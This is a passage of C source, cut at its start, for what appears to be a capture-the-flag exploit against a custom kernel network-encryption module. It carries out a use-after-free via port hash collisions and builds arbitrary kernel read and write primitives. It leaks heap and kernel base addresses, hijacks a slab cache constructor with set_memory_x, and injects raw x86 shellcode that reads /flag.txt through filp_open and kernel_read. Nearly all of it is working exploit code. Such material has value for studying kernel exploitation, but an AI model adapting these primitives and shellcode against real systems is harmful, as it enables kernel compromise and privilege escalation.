        for (int i = 0; i < (key_len / 4); i++) {
            state ^= state << 13;
            state ^= state >> 17;
            state ^= state << 5;
            ((uint32_t*)key)[i] = state;
        }
    }
}

void crypto_xor(uint8_t* buf, size_t buf_len, uint8_t* key, size_t key_len) {
    if (buf && key) {
        for (int i = 0; i < buf_len; i++) {
            buf[i] ^= key[i % key_len];
        }
    }
}

short get_collision(short port) {
    int i = 2000;
    int target_hash = HASH(LOCAL_IP, port);

    while ((HASH(LOCAL_IP, i)) != target_hash)
        i++;

    return i;
}

void free_socket(int fd) {
    shutdown(fd, SHUT_WR);
    close(fd);
}

int open_tcp(short src_port) {
    int sockfd, connfd;
    struct sockaddr_in servaddr, cliaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
        perror("socket");
        exit(1);
    }

    int one = 1;
    if (setsockopt(sockfd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) {
        perror("setsockopt");
        exit(1);
    }

    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr(TARGET_IP);
    servaddr.sin_port = htons(TARGET_PORT);

    memset(&cliaddr, 0, sizeof(cliaddr));
    cliaddr.sin_family = AF_INET;
    cliaddr.sin_addr.s_addr = INADDR_ANY;
    cliaddr.sin_port = htons(src_port);

    if (bind(sockfd, (struct sockaddr*)&cliaddr, sizeof(cliaddr)) != 0) {
        perror("bind");
        exit(1);
    }

    if (connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
        perror("connect");
        exit(1);
    }

    return sockfd;
}

void xor_payload(uint8_t *payload, size_t plen, short port) {
    uint8_t out_key[KEY_SIZE];

    crypto_kdf(out_key, KEY_SIZE, port);

    crypto_xor(payload, plen, in_key, sizeof(in_key));
    crypto_xor(payload, plen, out_key, sizeof(out_key));
}

uint64_t arb_read(
        uint64_t target, /* Address we want to read */
        uint64_t dummy_addr, /* Address where we can safely write */
        int sfd1, /* FD using the UAF */
        int sfd4, /* FD overwriting our freed object */
        short p4 /* Port used in sfd4 TCP connection */
    ) {

    char buff_0x8[0x8];
    struct sec_conn primitive;

    primitive.in_key = 0;
    primitive.out_key = (uint8_t *)target;
    primitive.buf = (uint8_t *)dummy_addr;
    primitive.buf_len = 0x20;

    xor_payload((uint8_t *)&primitive, sizeof(primitive), p4);
    write(sfd4, (char *)&primitive, sizeof(primitive));

    sleep(1);

    memset(buff_0x8, 0, sizeof(buff_0x8));
    write(sfd1, buff_0x8, sizeof(buff_0x8));
    read(sfd1, buff_0x8, sizeof(buff_0x8));

    return *(uint64_t *)buff_0x8;
}

void arb_write(
        uint64_t target, /* Address we want to write */
        uint8_t *data, /* Data we want to write */
        size_t len, /* Length of data */
        int sfd1, /* FD using the UAF */
        int sfd4, /* FD overwriting our freed object */
        short p4 /* Port used in sfd4 TCP connection */
    ) {
    struct sec_conn primitive;
    void *buff = malloc(len);

    primitive.in_key = 0;
    primitive.out_key = 0;
    primitive.buf = (uint8_t *)target;
    primitive.buf_len = len;

    xor_payload((uint8_t *)&primitive, sizeof(primitive), p4);
    write(sfd4, (char *)&primitive, sizeof(primitive));
    sleep(1);
    write(sfd1, data, len);
    read(sfd1, buff, len); // Clear recv buffer
}

int main(int argc, char **argv) {
    int sfd1, sfd2, sfd3, sfd4;
    int p1, p2, p3, p4;

    // Leaks
    uint64_t heap_leak, slab_addr, in_key_addr, cache, kbase;

    uint8_t buff_0x8[0x8], buff_0x20[0x20], buff_0x28[0x28];

    crypto_kdf(in_key, KEY_SIZE, TARGET_PORT);

    p1 = 1338;
    p2 = get_collision(p1);
    p3 = 1339;
    p4 = 1340;
    sfd1 = open_tcp(p1);
    sfd2 = open_tcp(p2);
    sfd3 = open_tcp(p3);
    sfd4 = open_tcp(p4);

    free_socket(sfd2);

    memset(buff_0x28, 0, sizeof(buff_0x28)); // 0 to simplify the xor after
    write(sfd1, buff_0x28, sizeof(buff_0x28));

    read(sfd1, buff_0x28, sizeof(buff_0x28));
    crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, sizeof(in_key));
    heap_leak = ((uint64_t *)buff_0x28)[2];
    slab_addr = heap_leak& ~0xfff;
    printf("heap_leak = 0x%lx\n", heap_leak);
    printf("slab_addr = 0x%lx\n", slab_addr);

    uint8_t out_key[KEY_SIZE];
    // out_key is corrupted by the heap address, we need to corrupt it too
    crypto_kdf(out_key, KEY_SIZE, p2);
    ((uint64_t *)out_key)[2] = heap_leak;

    memset(buff_0x28, 0, sizeof(buff_0x28));
    crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, KEY_SIZE);
    crypto_xor(buff_0x28, sizeof(buff_0x28), out_key, KEY_SIZE);

    write(sfd1, buff_0x28, sizeof(buff_0x28));
    read(sfd1, buff_0x28, sizeof(buff_0x28)); // Empty sfd1 recv buffer

    sleep(1);

    // Use `sfd2->out_key` slot in freelist
    write(sfd3, buff_0x20, sizeof(buff_0x20));
    
    in_key_addr = arb_read(slab_addr, heap_leak + 0x100, sfd1, sfd4, p4);
    printf("in_key addr = 0x%lx\n", in_key_addr);

    cache = arb_read(in_key_addr + 0x20, heap_leak + 0x100, sfd1, sfd4, p4);
    printf("cache = 0x%lx\n", cache);

    kbase = arb_read(cache + 0x78, heap_leak + 0x100, sfd1, sfd4, p4) - 0x10e1560;
    printf("kbase = 0x%lx\n", kbase);

    uint64_t set_memory_x = kbase + 0x002ba1a0;
    arb_write(cache + 0x50, (uint8_t *)&set_memory_x, 8, sfd1, sfd4, p4);

    open_tcp(p4 + 1);

    sleep(1);

    // Stage 2
    int stage2_fd1 = open_tcp(p4 + 2);
    int stage2_fd2 = open_tcp(get_collision(p4 + 2));
    int stage2_fd3 = open_tcp(p4 + 3);

    free_socket(stage2_fd2);

    memset(buff_0x28, 0, sizeof(buff_0x28)); // 0 to simplify the xor after
    write(stage2_fd1, buff_0x28, sizeof(buff_0x28));

    read(stage2_fd1, buff_0x28, sizeof(buff_0x28));
    crypto_xor(buff_0x28, sizeof(buff_0x28), in_key, sizeof(in_key));
    uint64_t slab2_addr = ((uint64_t *)buff_0x28)[2] & ~0xfff;
    printf("slab2_addr = 0x%lx\n", slab2_addr);

    sleep(1);
    // Overwrite `ctor`
    arb_write(cache + 0x50, (uint8_t *)&slab2_addr, 8, sfd1, sfd4, p4);

    // Clean freelist
    arb_write(slab2_addr + 0x90, (uint8_t *)"\0\0\0\0\0\0\0\0", 8, sfd1, sfd4, p4);

    // Write shellcode
    uint64_t filp_open = kbase + 0x48e190;
    uint64_t kernel_read = kbase + 0x490ab0;
    uint64_t flag_address = heap_leak + 0x200;
    uint64_t path_address = heap_leak + 0x300;
    uint64_t ctor_address = cache + 0x50;

    uint8_t shellcode[] = {
        0x48, 0xB8, ADDR(filp_open), 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // mov rax, filp_open
        0x48, 0x31, 0xF6, 0x48, 0xbf, ADDR(path_address), 0x90, 0x90, 0x90, // xor rsi, rsi ;  mov rdi, path_address
        0x48, 0xC7, 0xC2, 0x24, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xC7, 0x90, 0x90, 0x90, 0x90, // mov rdx, 0o444; call rax; mov rdi, rax
        0x48, 0xB8, ADDR(kernel_read), 0x48, 0x31, 0xD2, 0x80, 0xC2, 0xFF, // mov rax, kernel_read; xor rdx, rdx; add dl, 0xff
        0x48, 0xbe, ADDR(flag_address), 0x48, 0x31, 0xC9, 0xff, 0xd0, 0x90, // mov rsi, strings_address; xor rcx, rcx; call rax
        0x48, 0xb8, ADDR(ctor_address), 0x48, 0xc7, 0x00, 0x00, 0x00, 0x00, // mov rax, ctor_address; mov qword ptr [rax], 0x0
        0x00, 0xc3 // ret
    };
    arb_write(path_address, (uint8_t *)"/flag.txt", 10, sfd1, sfd4, p4);
    arb_write(slab2_addr, shellcode, sizeof(shellcode), sfd1, sfd4, p4);

    sleep(1);
    open_tcp(p4 + 4); // Trigger slab allocation
    
    printf("flag address = 0x%lx\n", flag_address);

    char flag[0x100] = { 0 };
    for (uint64_t i = 0; i < sizeof(flag); i += 8) {
        sleep(1);
        uint64_t f = arb_read(flag_address + i, heap_leak + 0x100, sfd1, sfd4, p4);
        memcpy(flag + i, &f, 8);
        char *end = strchr(flag, '}');
        if (NULL != end) {
            *(end + 1) = '\0';
            break;
        }
    }
    printf("%s\n", flag);

    return 0;
}